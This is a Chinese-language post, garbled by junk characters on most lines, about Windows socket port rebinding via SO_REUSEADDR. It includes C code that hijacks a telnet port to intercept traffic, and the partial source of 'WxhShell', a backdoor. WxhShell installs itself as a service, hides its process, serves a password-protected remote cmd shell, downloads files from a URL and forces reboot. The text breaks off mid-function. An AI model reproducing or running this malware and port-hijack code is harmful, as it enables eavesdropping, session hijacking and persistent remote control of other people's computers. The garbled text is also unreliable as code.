在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
z8_XX$Mnt s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
y/_XgPfWU >{zk
qvsQ& saddr.sin_family = AF_INET;
0y#Ih {L nHXX\i saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\IM4Z|NN" mI1H! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
p*3; hGp6 chI.{Rj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
PL=^}{r @C8DZ5) 这意味着什么?意味着可以进行如下的攻击:
KLWDo%%u 0Q9T3X 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)xU-;z0"~ 6;b9swmh 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
fxQN+6; $iw%(H 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%yS3&Ju cntco@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
H*I4xT@ G;iEo4\? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
s][24)99 [U{UW4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&:#h$`4 =6nD sibf 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
W7No ls{ V*[b}Xew #include
qOhO qV #include
{p<Zbm. #include
()T[$.( #include
G=9d&N DWORD WINAPI ClientThread(LPVOID lpParam);
a:STQk V int main()
|AZW9 {
mh/n.*E7 WORD wVersionRequested;
4Ft1@ DWORD ret;
Ukz;0q WSADATA wsaData;
V4w=/e_ BOOL val;
Rd*[%) SOCKADDR_IN saddr;
oA-:zz>wL SOCKADDR_IN scaddr;
#\rwLpC1u int err;
X@2-*so< SOCKET s;
J;Rv ~<7 SOCKET sc;
Zo-$z8 int caddsize;
},$0&/>ft HANDLE mt;
g{k1&| DWORD tid;
]3{0J wVersionRequested = MAKEWORD( 2, 2 );
:3h{ A`u err = WSAStartup( wVersionRequested, &wsaData );
uRV<?y% if ( err != 0 ) {
Av J4\ printf("error!WSAStartup failed!\n");
S56]?M|[ return -1;
"\%On > }
%r{3wH#D@ saddr.sin_family = AF_INET;
7*o*6,/ L:nXW z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
wucV_p.E *Nb#W! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[tT8_}v$LN saddr.sin_port = htons(23);
LaFZ?7@|} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
22hSove. {
V<Z'(UI printf("error!socket failed!\n");
-T@`hk` return -1;
~EiH-z4U }
n||A" @b\ val = TRUE;
(?)7)5H //SO_REUSEADDR选项就是可以实现端口重绑定的
uYI@9U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}ET,ysa {
;U=q-tb printf("error!setsockopt failed!\n");
c~}l8M% return -1;
Tb;d.^ }
M)-6T{[IT //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\ gwXH //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$RX'(/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&n2e "Y:/=
Gx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
z`Wt%tL( {
:fcM:w& ret=GetLastError();
dIweg=x printf("error!bind failed!\n");
t:~t@4j} return -1;
TA18 gq }
AEirj / listen(s,2);
"d/s5sP|S while(1)
'_s}o< {
{Bvj"mL]j caddsize = sizeof(scaddr);
,Z9>h[JF //接受连接请求
iOw3MfO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
gbBy/_b if(sc!=INVALID_SOCKET)
/hW d/H] {
!\ND( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,Dmc2D if(mt==NULL)
]:]H:U]p {
+]xFoH
printf("Thread Creat Failed!\n");
)P&9A)8 break;
y8Xv~4qQW }
F'8T;J7 }
>T3H qYX5W CloseHandle(mt);
9 ;t]Hp_+K }
M6|I6M< closesocket(s);
AbwbAm+ WSACleanup();
FVsj; return 0;
G#`\(NW }
_cH@I?B DWORD WINAPI ClientThread(LPVOID lpParam)
'1SG(0 {
}l0&a!C SOCKET ss = (SOCKET)lpParam;
>cMd\%^t SOCKET sc;
j|fd-<ng unsigned char buf[4096];
le)DgIT>= SOCKADDR_IN saddr;
8ip7^ long num;
Fqq6^um DWORD val;
nt1CTWKM8^ DWORD ret;
km5~Gc} //如果是隐藏端口应用的话,可以在此处加一些判断
qNgd33u1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
is;XmF*5= saddr.sin_family = AF_INET;
A?!I/|E^; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
7Ey#u4Q saddr.sin_port = htons(23);
.9G<y 4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
jn%kG ~]'Q {
E|EgB33S printf("error!socket failed!\n");
NW9n return -1;
?8@>6IXn }
Ds8
EMtS val = 100;
sRHA."A!8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R0Ue0pF7 {
zJlQ_U- ! ret = GetLastError();
Cr/`keR return -1;
EOKzzX7 S }
Iry if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4NR@u\S {
G\gMC
<3 ret = GetLastError();
/?-7Fg+, return -1;
E:E4ulak }
0[A9b,MMVO if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&NZfJs {
t/o N>mQG printf("error!socket connect failed!\n");
NtGn88='{ closesocket(sc);
cS.i closesocket(ss);
E4.SF|=x return -1;
Bvjl-$m!v }
&p
UZDjo? while(1)
V,v[y\ {
hIv@i\` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2GmpCy`L" //如果是嗅探内容的话,可以再此处进行内容分析和记录
mY!iu(R1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?dZt[vAMn num = recv(ss,buf,4096,0);
9 t
n!t if(num>0)
N[|Nxm0z/C send(sc,buf,num,0);
X~.f7Ao[ else if(num==0)
1n*W2:,z break;
~`#-d ^s: num = recv(sc,buf,4096,0);
OK|qv [ if(num>0)
.S\&L-{ send(ss,buf,num,0);
xFv;1Q else if(num==0)
Oeya%C5' break;
\a^,sV }
th5g\h%j* closesocket(ss);
^}yg%+ closesocket(sc);
g|<Sfp+;+ return 0 ;
ra ' }
#!J(4tXny ^cvl:HOog >?W[PQ5 yx ==========================================================
VzS&`d.h "$HbK
@]!h 下边附上一个代码,,WXhSHELL
[f~N_G6I^o /nx'Z0&+X ==========================================================
:7N3N L *[K>iW #include "stdafx.h"
wRNroQ uZKP"Oy #include <stdio.h>
?ne_m:J[ #include <string.h>
bEuaOBc #include <windows.h>
R!
s6% :Yg #include <winsock2.h>
%!Q`e79g8 #include <winsvc.h>
N@o?b #include <urlmon.h>
xh@-g|+g RH;:9_*F #pragma comment (lib, "Ws2_32.lib")
g\oSG) #pragma comment (lib, "urlmon.lib")
w>?Un,K _cDF{E+; #define MAX_USER 100 // 最大客户端连接数
u8zbYd3 #define BUF_SOCK 200 // sock buffer
}}{!u0N},V #define KEY_BUFF 255 // 输入 buffer
6"j_iB 0IM8 #define REBOOT 0 // 重启
"R
#k~R #define SHUTDOWN 1 // 关机
}S_oH9A w[Gh+L30=5 #define DEF_PORT 5000 // 监听端口
72oWhX=M% 1m<RwI3s #define REG_LEN 16 // 注册表键长度
qUF'{K #define SVC_LEN 80 // NT服务名长度
4R+.N o;F" {RZ // 从dll定义API
a5'#j35 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
hm$X]H`uMX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^{@![' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
pe0x""K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
iGXI6`F" `xS{0P{uj // wxhshell配置信息
t-%Q`V=[ struct WSCFG {
$9
p!Y} int ws_port; // 监听端口
&(rWw Oo6 char ws_passstr[REG_LEN]; // 口令
{0\,0*^p int ws_autoins; // 安装标记, 1=yes 0=no
Y o0FUj char ws_regname[REG_LEN]; // 注册表键名
-#`c5y}P char ws_svcname[REG_LEN]; // 服务名
y k161\ char ws_svcdisp[SVC_LEN]; // 服务显示名
)(Iy<Y?# char ws_svcdesc[SVC_LEN]; // 服务描述信息
Tm]nEl)_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,0$)yZ3*3, int ws_downexe; // 下载执行标记, 1=yes 0=no
R/b4NGW@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
J a,d3K
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
r~[vaQQ6L m,LG=s };
lEL78l. 01a-{&
// default Wxhshell configuration
u8b2$D struct WSCFG wscfg={DEF_PORT,
JEn3`B!* "xuhuanlingzhe",
rWtZj}A 1,
uw\1b.r'B "Wxhshell",
#PLEPB "Wxhshell",
[ANuBNF "WxhShell Service",
46jh-4)< "Wrsky Windows CmdShell Service",
RH)EB<PV "Please Input Your Password: ",
s3s4OAY 1,
wy1X\PJjH "
http://www.wrsky.com/wxhshell.exe",
X##1!
ad "Wxhshell.exe"
!SOrCMHx };
6"T['6:j k ^'f[|} // 消息定义模块
H Yr}wG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
UO`;&e-DB char *msg_ws_prompt="\n\r? for help\n\r#>";
3{Nbp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
>r5P3G1 char *msg_ws_ext="\n\rExit.";
`\>.h char *msg_ws_end="\n\rQuit.";
+y+"Fyl char *msg_ws_boot="\n\rReboot...";
xk~IN%\ char *msg_ws_poff="\n\rShutdown...";
z1OFcqm char *msg_ws_down="\n\rSave to ";
EfLO5$?rm k?nQ?B
W char *msg_ws_err="\n\rErr!";
w-B^
[< char *msg_ws_ok="\n\rOK!";
R C=Fzu&N} char ExeFile[MAX_PATH];
|C \}P int nUser = 0;
9D\4n HANDLE handles[MAX_USER];
~i'Nqe_ int OsIsNt;
;Z[]{SQ 4wzlJ19E( SERVICE_STATUS serviceStatus;
Qq-"Cg@-/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
SD\=
m/W [t\B6XxT // 函数声明
}n,Zl>T9 int Install(void);
:!&;p int Uninstall(void);
qMBR *f int DownloadFile(char *sURL, SOCKET wsh);
fpyz' int Boot(int flag);
XK(`mEi
void HideProc(void);
qr\!*\9 int GetOsVer(void);
I<b?vR 'F int Wxhshell(SOCKET wsl);
VvbFp void TalkWithClient(void *cs);
<<A`aU^fX int CmdShell(SOCKET sock);
Wx'Kp+9' int StartFromService(void);
+eX)48 int StartWxhshell(LPSTR lpCmdLine);
| aQ"3d EUYCcL'G VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_:n b&B VOID WINAPI NTServiceHandler( DWORD fdwControl );
3q[WHwmm W|k0R4K]] // 数据结构和表定义
ajl
2I/D SERVICE_TABLE_ENTRY DispatchTable[] =
ChryJRuwv5 {
Bc-yxjsw {wscfg.ws_svcname, NTServiceMain},
SZ![%)83 {NULL, NULL}
S/vf'gj };
v<\A% " }gVAAvc7 // 自我安装
:yT-9Ze%q int Install(void)
$5`!Z%>/ {
D-imL;| char svExeFile[MAX_PATH];
m%+IPZ2m HKEY key;
h~U02"$ strcpy(svExeFile,ExeFile);
~\nBjM2 h5z)Lc^ // 如果是win9x系统,修改注册表设为自启动
U7mozHS,:9 if(!OsIsNt) {
PHg48Y"Nd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,''cNV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jg
2qGC RegCloseKey(key);
^ OJyN,A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ER2GjZa\z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V5"CSMe RegCloseKey(key);
s}&bJ"!Z return 0;
RIM`omM }
g o5]<4`r }
F-(dRSDNM }
h.rD}N\L else {
/5AW?2) 4W4kwU6D // 如果是NT以上系统,安装为系统服务
G |*(8r() SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+,+vkpL-% if (schSCManager!=0)
WlB'YL-`g {
$ZPX]2D4B# SC_HANDLE schService = CreateService
;wiao(t>4N (
`?*%$>W#" schSCManager,
I|oT0y& wscfg.ws_svcname,
31^cz*V wscfg.ws_svcdisp,
<q)4la SERVICE_ALL_ACCESS,
6Q4X6U:WB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
IJOvnZ("A SERVICE_AUTO_START,
rn@`yTw^ SERVICE_ERROR_NORMAL,
U;_[b"SW% svExeFile,
4Ph0:^i_ NULL,
%sh>;^58P NULL,
&MmU NULL,
Hi!Jj NULL,
80}+MWdo NULL
"}WJd$ );
o 6 {\Zzp if (schService!=0)
Bsf7mcXz7z {
-!RtH |P CloseServiceHandle(schService);
@YvOoTyb CloseServiceHandle(schSCManager);
Gz
I~TWc+G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
vq*Q.0 M+ strcat(svExeFile,wscfg.ws_svcname);
VO3pm6r5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5F+APz7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
E! /[gZ RegCloseKey(key);
QR?yG+VU return 0;
)CPM7> }
idc`p?XP }
_Jz8{` " CloseServiceHandle(schSCManager);
\e=_
2^v!_ }
pD"vRbYF }
:6 J +%(f i>L+gLW return 1;
XKL3RMF9r }
3gWvmep1 )O+}T5c= // 自我卸载
lv0nEj8F int Uninstall(void)
-F&U {
lLq<xf HKEY key;
.%BT,$1K #T K~eHi if(!OsIsNt) {
BC>=B@H0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~na!@<zB{ RegDeleteValue(key,wscfg.ws_regname);
{yAL+} RegCloseKey(key);
wCs^J48= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Th[f9H% RegDeleteValue(key,wscfg.ws_regname);
Bm$"WbOq*R RegCloseKey(key);
5
*}R$ return 0;
^Jp&H\gI. }
(;x3} ] }
<>eOC9;VY }
KT|RF else {
0Q,g7K<d }uHrto3M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
iF5'ygR-Z if (schSCManager!=0)
GY3 Wj {
;rI@*An SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
nZ1zJpBmI if (schService!=0)
5la>a}+!!h {
+i ?S if(DeleteService(schService)!=0) {
+=Jir1SLV CloseServiceHandle(schService);
>%p{38 CloseServiceHandle(schSCManager);
!1T\cS#1% return 0;
hDP/JN8y }
d4:`@* CloseServiceHandle(schService);
CQ7{1,?2 }
4EI7W,y CloseServiceHandle(schSCManager);
.xzEAu ; }
{u{@jp }
@}_WE,r 8bK|:B#6, return 1;
7 J^rv9i4 }
mvW% w&$d* E // 从指定url下载文件
#&<)! YY5 int DownloadFile(char *sURL, SOCKET wsh)
\]Kh[z0" {
3uU]kD^ HRESULT hr;
mC&=X6Q] char seps[]= "/";
e+v({^k char *token;
eg<bi@C1| char *file;
\}6;Kf}\ char myURL[MAX_PATH];
3<=,1 cU char myFILE[MAX_PATH];
B!{d-gb @J{m@ji{ strcpy(myURL,sURL);
AWjJ{#W>9 token=strtok(myURL,seps);
'K@|3R while(token!=NULL)
K/m3 {
VUTacA Y>L file=token;
?7:KphFX) token=strtok(NULL,seps);
mS>xGtD&K }
-aRU]kIf :.(;<b<\ GetCurrentDirectory(MAX_PATH,myFILE);
uZa9zs=}c strcat(myFILE, "\\");
YzosZ! L!< strcat(myFILE, file);
dpQG[vXe send(wsh,myFILE,strlen(myFILE),0);
{ pu85'DV send(wsh,"...",3,0);
ERwHLA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V^y^
;0I}[ if(hr==S_OK)
')a(.f return 0;
s,bERN7'yO else
T +5X0 Nv return 1;
`k(yZtb s &Dg8$ }
W{z.?$SH G6VF>2 // 系统电源模块
&<zd.~N" int Boot(int flag)
qQ\Y/}F {
%6Q4yk HANDLE hToken;
3X9b2RY*L/ TOKEN_PRIVILEGES tkp;
b[z]CP jVLA CWH if(OsIsNt) {
ly% F."v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ob+euCuJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
f>'Y(dJ'W tkp.PrivilegeCount = 1;
01!s"wjf tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
V)Z70J<' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Iff9'TE if(flag==REBOOT) {
'65LKD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~HQ9i%exg return 0;
Li*eGlId }
bo.(zAz else {
HM>lg`S if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u66XN^ return 0;
Z*G(5SqUh" }
r"$.4@gc }
.xf<=ep else {
[c_|ob] if(flag==REBOOT) {
E{6~oZ#L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(}. @b|s return 0;
Y*_)h\f }
V"cKJ;s else {
f7Ul(D:j\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
q&C""!h^ return 0;
!4] 9!<.k }
kyR*D1N&) }
tx?dIy; CctJFcEZ return 1;
kw2T> }
&A#~)i5gF rD>*j~_+P // win9x进程隐藏模块
T843": void HideProc(void)
F~ Lx|)0M {
(EPsTox fs/*V~@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
VDTcR if ( hKernel != NULL )
KfF!{g f {
>u9Nz0?j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
tabT0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
W0I#\b18 FreeLibrary(hKernel);
Bc3:}+l }
oyo(1> [qsEUc+Z.' return;
o\vBOp?hj }
\EseGgd21 ETs>`#`6o // 获取操作系统版本
RK w$- 7O int GetOsVer(void)
UGK*G y {
G
"P4- OSVERSIONINFO winfo;
f6$b
s+oP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`6+"Z=: GetVersionEx(&winfo);
#c^^=Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+iOKb c' return 1;
9@+5LZR else
8,dBl!G= return 0;
O12eH }
g+X}c/". A 7[:5$ // 客户端句柄模块
'vN G(h#%d int Wxhshell(SOCKET wsl)
)8g(:`w {
A$6$,h SOCKET wsh;
X$/2[o#g struct sockaddr_in client;
}1IpON
DWORD myID;
`({T]@]V LR"9D while(nUser<MAX_USER)
YuB+k^ {
Sp@-p9# int nSize=sizeof(client);
V59(Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
kQ]$%Lk[ if(wsh==INVALID_SOCKET) return 1;
,@5I:X!rR v+99
-. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
+>JjvYx}\ if(handles[nUser]==0)
m.,U:> closesocket(wsh);
I!^O)4QRx else
fFQ|T:vm nUser++;
6AocmR0D' }
EYA,hc WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=*Bl|;>6 /*0K92NB return 0;
7`u$ }
hpU2 2;w*oop,O // 关闭 socket
@IXsy void CloseIt(SOCKET wsh)
->N8#XH2= {
zXRlo] closesocket(wsh);
/hO1QT}xd nUser--;
6Cp]NbNrq ExitThread(0);
O$cHZs$ }
~K@'+5Pc 2WG>, 4W2 // 客户端请求句柄
.YuJJJv void TalkWithClient(void *cs)
?,/U^rf^4 {
NIw\}[-Z0E 5xL~`-IA&v SOCKET wsh=(SOCKET)cs;
0Lb4'25. char pwd[SVC_LEN];
Jec'`,Y char cmd[KEY_BUFF];
K#. char chr[1];
l#n,Fg3 int i,j;
R4-~j gzx tsk)zP,< while (nUser < MAX_USER) {
!F?XLekTi }\C-}
Q if(wscfg.ws_passstr) {
%iw3oh&Fkm if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9?k_y ZV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uG<}N= //ZeroMemory(pwd,KEY_BUFF);
MHa#?Q9 i=0;
*z7dl5xJ while(i<SVC_LEN) {
)+fh-Ui ZK)%l~J // 设置超时
33}oO,}t, fd_set FdRead;
fum0>tff struct timeval TimeOut;
Tgl} FD_ZERO(&FdRead);
A<ynIs< FD_SET(wsh,&FdRead);
G$sA`<< TimeOut.tv_sec=8;
%.vVEy TimeOut.tv_usec=0;
`/_G$_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)5
R=Z< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
k?7 X3/O )rixMl &[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
edPUG
N pwd
=chr[0]; IY*EA4>
if(chr[0]==0xd || chr[0]==0xa) { AoyX\iqQ
pwd=0; *oybD=%4
break; Qa.uMq
} &y#r;L<9
i++; VJS8)oI~
} +$Rt+S BD
D|.ic!w'
// 如果是非法用户,关闭 socket twx[s$O'b
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &
GreN
} @/1w4'M
iJ~Vl"|m
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GQ-Rtn4v
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \7*`}&
e zOj+vz
while(1) { }[xs~!2F
<'g:T(t
ZeroMemory(cmd,KEY_BUFF); ?C/Te)
LlSZr)X
// 自动支持客户端 telnet标准 Hik3wPnp
j=0; m?&1yU9
while(j<KEY_BUFF) { Y&K;l_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B2O} 1.
cmd[j]=chr[0]; )Qvk*9OS
if(chr[0]==0xa || chr[0]==0xd) { x)_0OR2lkp
cmd[j]=0; n\Lb.}]1~
break; l\n@cQR
} ^53r/V }%
j++; p
l&Muv
} RH|XxH*
/g4f`$a
// 下载文件 9WR6!.y#f
if(strstr(cmd,"http://")) { <Z/x,-^*<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 42qYg(tZ
if(DownloadFile(cmd,wsh)) 'R:"5d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NG6& :4!
else .AU)*7Gh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pf7it5
} JGQj w(Xs
else { L~KM=[cn
d0,s"K7@
switch(cmd[0]) { ~JH:EB:
_hk.2FV:3m
// 帮助 T'b_W,m~,u
case '?': { =*LS%WI
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %x}
O1yV
break; n9xAPB }
} tmtT(
// 安装 ::/j$bL
case 'i': { vZBc!AW
if(Install()) E^SH\5B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zO
MA
else /ID?DtJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x>Jr_A(
break; GbaEgA'fa
} Y"wUt &
// 卸载 x UD-iSY
case 'r': { qZA).12qS
if(Uninstall()) `FC(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kc^;vT>3
else *C:|X b<9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +PuPO9jKO@
break; #&7}-"Nd
} 2m2;t0
// 显示 wxhshell 所在路径 lgtC |kM=
case 'p': { ~((w?Yy"v
char svExeFile[MAX_PATH]; o+$7'+y1n-
strcpy(svExeFile,"\n\r"); Ht4;5?/y
strcat(svExeFile,ExeFile); 5kz)5,KjM
send(wsh,svExeFile,strlen(svExeFile),0); ,c)uX#1
break; 4%3Mb-#Y]
} QhK#Y{xY
// 重启 SE~[bT
case 'b': { >lIk9|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I}vmU^Y>
if(Boot(REBOOT)) 9,r rQQD_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qm8&*UuKJ
else { +@/"%9w
closesocket(wsh); |UxG $M(
ExitThread(0); `WH"%V:"Q
} .8G@%p{,
break; ,5*eX
} L~NbdaO
// 关机 heK7pH7;d
case 'd': { n;T7= 1_"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UZpIcj cL
if(Boot(SHUTDOWN)) <N9[?g)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aj4T"^fv
else { UTH_^HAN#G
closesocket(wsh); Sh8"F@P8
ExitThread(0); "
_ka<R..
} ;hjwD
break; pn5Q5xc
} K]0JC/R6(@
// 获取shell 5)MS~ii
case 's': { }dd8N5b
CmdShell(wsh); ixT:)|'i
closesocket(wsh); )}?#
ExitThread(0); A?pbWt~}
break; g #6E|n
} fk x \=
// 退出 rq/I` :
case 'x': { fL=~NC"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -B$2\ZE
CloseIt(wsh); jyZWVL:_
break; 9AJ7h9L
} XnWr5-;
// 离开 N/K.%<h
case 'q': { 9B7^lR
send(wsh,msg_ws_end,strlen(msg_ws_end),0); SV~~Q_U9
closesocket(wsh); PJL=$gBgKk
WSACleanup(); +lMX{es\O
exit(1); Y1J=3Y
break; A"rfZ`
} LpqO{#ZG
}
ftF@Wq1f
} /
:n#`o=;
Ls] g
// 提示信息 FK5<6n,U
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `I,,C,{C
} n*{sTT
} <t
\H^H!
+y3%3EKs1~
return; aN8|J?JH
} DuHu\>f<S
%YC_Se7
// shell模块句柄 1BpiV-]=
int CmdShell(SOCKET sock) 7M<'/s
{ F6{bjv2A
STARTUPINFO si; /Id%_,}Kb
ZeroMemory(&si,sizeof(si)); [.uG5%fa
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y3o25}"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; io{@^1ab
PROCESS_INFORMATION ProcessInfo; Qh'ATo
char cmdline[]="cmd"; 6U R2IxbE
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [c|]f_ZdK
return 0; &bfA.&
`
} &-B^~M*??
Nbi.\
// 自身启动模式 k@3Q|na
int StartFromService(void) 283F)T\Rv
{ Z*= $8e@
typedef struct x?2@9u8Yb
{ R&BTA
DWORD ExitStatus; L'0B$6
DWORD PebBaseAddress; OZ~5*v
DWORD AffinityMask; %~E ?Z!_W
DWORD BasePriority; UZJCvfi
ULONG UniqueProcessId; \Yc'~2n
